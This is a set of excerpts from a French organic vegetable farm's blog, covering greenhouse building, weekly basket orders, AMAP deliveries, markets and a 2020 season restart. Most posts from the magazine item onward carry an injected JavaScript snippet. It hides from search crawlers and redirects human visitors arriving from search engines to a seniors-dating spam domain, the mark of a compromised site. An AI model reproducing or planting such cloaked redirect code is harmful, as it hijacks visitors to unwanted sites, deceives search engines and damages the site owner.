Avant le début de saison

Avant le début de saison

Au programme de notre hiver 2019-2020,  nous n'avons pas chômé entre les travaux dans le futur bâtiment de vente et de stockage, le montage de 3 tunnels en simultané, l'envol d'un autre suite à un des nombreux coup de vent, l'implantation des fraises tant attendues, l’accueil et l'aide précieuse de nos supers stagiaires d'enfer, les tonnes de foin vidées des écuries à aménager, les trente cinq versions des plans d’aménagement du bâtiment, les journées de formation dans le réseau bio Bourgogne, l'arrivée de nos deux consœurs spéciales "écopaturage",  les quarante deux versions du plan d'assolement du jardin, les commandes de plants, de bâches, de toile tissée, d’irrigation, la clôture de notre quatrième exercice comptable, un ou deux ou même trois contrôles  par ci par là, l'audit bio, les livraisons toutes les semaine à l'Amap de Pouilly (et surtout les kilos de radis d'hiver engloutis par nos Amapiens)....tout ça et j'en oublie certainement, ces souvenirs  me semblent précieux à l'heure ou...
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Une bien étrange reprise 2020

La reprise de la saison a un gout très étrange cette année, nous ferons le maximum pour nous adapter aux exigences sanitaires nécessaires.  La saison 5 de la vente à la ferme ne reprendra pas le 16 avril comme prévu mais nous continuerons chaque semaine à proposer une quarantaine de paniers à 20€ en pré commande à venir retirer le mercredi. Vous avez jusqu'au dimanche soir pour passer votre commande. Vous avez été nombreux à nous solliciter, je m'excuse si je n'ai pas pu répondre à toutes les demandes, la charge de travail est importante et notre organisation bousculée. Nous fonctionnons depuis 2 ans grâce à Sophie, une de nos super cliente, avec des paniers  précommandés. Ce système permettait un retrait facile sans faire la queue ou d'"avoir tout ce qu'on veut comme légumes même quand on arrive à 19h" dixit Sophie (la super cliente!).   Bref, ce système se révélè pertinent durant cette crise.Nous permettant ainsi de vous fournir en légumes durant...
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la ferme sur papier glacé!

Cet hiver, nous en avons profité pour nous exposer au feu des projecteurs de Bourgogne Magazine, qui consacre son dernier numéro au pays Arnétois, ça fait du bien, ça change des légumes même si ils n'étaient pas très loin! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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Marché de Beaune

Marché de Beaune

Nous sommes présents depuis le mois de juin et jusqu'au mois de novembre 2018 sur le marché de Beaune qui a lieu tout les samedi matin face aux  Hospices. Nous y allons lorsque les récoltes sont bonnes et que le temps nous le permet, nous y serons quelques fois cet hiver! Nous n'avons malheureusement  jamais la même place pour le moment, il faudra encore nous chercher!!var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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commande de paniers

Vous pouvez réserver vos paniers et connaitre leur composition chaque semaine en cliquant ici Les paniers commandés sont à récupérer le jeudi soir durant la vente à la ferme de 17h30 à19h00! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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C’est les vacances, pour nous!

Nous partons en vacances, mais heureusement un service de remplacement est assuré pour le jeudi 25 octobre! Il n'y aura pas de marché mais uniquement des paniers déjà constitués à 10€ avec: 700 gr de pomme de terre 300 gr de radis d'hiver 300gr d'épinard 140 gr de mache 200 gr de carotte 6oo gr de tomates 220 gr d’échalote Vous pouvez passer le récupérer aux heures habituelles de 17h30 à 19h, en passant commande par sms au 06 71 82 10 87 ou par mail, Merci!var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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le jardin au 10 avril… verdure!

le jardin au 10 avril… verdure!

Dans les serres ça se porte pas trop mal, les verdures (salades, mesclun, roquette... cotes de blette) se portent à merveille, les pois gourmands, les carottes, les navets primeurs, les betteraves, les pommes de terre font leur bout de chemin aussi, doucement mais assurément quand même! Dehors, ça a été bien la galère pour préparer le terrain, certains légumes sont implantés sur des planches pas très belles et assez enherbées, mais les légumes pleins champs sont quand même en place: choux, fenouil, épinards, salades, fèves, pommes de terre et carottes précoces n'attendent que le soleil et les coups de main du maraîcher pour pousser correctement! La plupart sous leur couverture printanière pour gagner quelques degrés... Les oignons eux patientent patientent dans leur caisse, bien plus sagement que le maraîcher d'ailleurs qui rêve de pouvoir les planter... mais le terrain qui leur est destiné dans la rotation n'est pas encore assez sec pour travailler le sol... alors c'est dur dur! en espérant que...
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Réouverture de la vente à la ferme

Réouverture de la vente à la ferme

Et voila que le printemps pointe doucement (et humidement) son nez... mais les légumes sous serre avancent bien: salade, mesclun, radis, cotes de blettes, épinards, pois gourmands, navets primeurs, il y a du monde qui pousse! Moins vite que prévu, mais  ça arrive quand même! La date est fixée : pour les amateurs de légumes frais, de transformations et de plantes aromatiques, de bon pains,  de fromages de chèvre et autres suivant les producteurs présents, bien sur tout en Bio et local, nous vous donnons rendez-vous le JEUDI 26 AVRIL à partir de 17h30!! Nous voila donc reparti pour une saison d'aventure, les paniers à 20 euros seront toujours disponibles, en espérant une belle saison de légumes et de bons moments avec vous à Longecourt les Culetre!   var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ ...
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Nouvelle serre… la B(v)âche!

Nouvelle serre… la B(v)âche!

Après avoir monté toute la structure de la nouvelle serre (et boulonné boulonné et vissé vissé!!) il fallait trouver un créneau pour l'installation de la bâche de couverture... et le timing était serré parce que les premières tomates 2018 devaient être mises en place à partir du mercredi 11 avril... Les créneaux météo n'étant pas trop favorables il a fallut faire cela samedi 7, donc juste à temps! Mais le vent s'est invité pendant le chantier et c'était chaud chaud chaud... 700 m2 de voilure, c'est plus qu'un trimaran spécial tour du monde! Après quelques frayeurs et quelques trous tout de même dans la bâche nous avons quand même réussi à l'installer! Merci à la superbe équipe qui était présente aux jardins pour ce chantier qui nous permet d'atteindre quelques 1500m2 de surface couvertes... en espérant donc de belles tomates mais aussi de bon légumes automnaux et printaniers! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { ...
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A MA Portée!

A MA Portée!

Les jardins de Longecourt proposent des légumes Bio et leur circuit de distribution s'est élargi lors de cette deuxième année de production... en espérant que ça continue pour cette troisième année! Depuis l'année dernière les mercredi sont consacrés à la livraison de l'AMAP (mais c'est quoi une AMAP : http://reseau-amap.org/amap.php) de Pouilly en Auxois, le Panier Pollien (http://amapplepanierpollien.overblog.com/). Les livraison ont lieu tous les mercredi en saison et depuis début janvier tous les 15 jours. Pour cette saison ce seront une quarantaine de paniers qui seront distribués tous les mercredi, à partir du mois de juin! Suite à une superbe initiative du collège et des collégiens d'Arnay le Duc nous avons livré nos légumes vendredi dernier... Légumes qui accompagnaient tout pleins d'autre produits locaux! BRAVO!! Il y a un article sur le Bien Public ici : http://www.bienpublic.com/edition-cote-de-beaune/2018/04/09/des-paniers-de-produits-locaux-au-college-claude-guyot var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { ...
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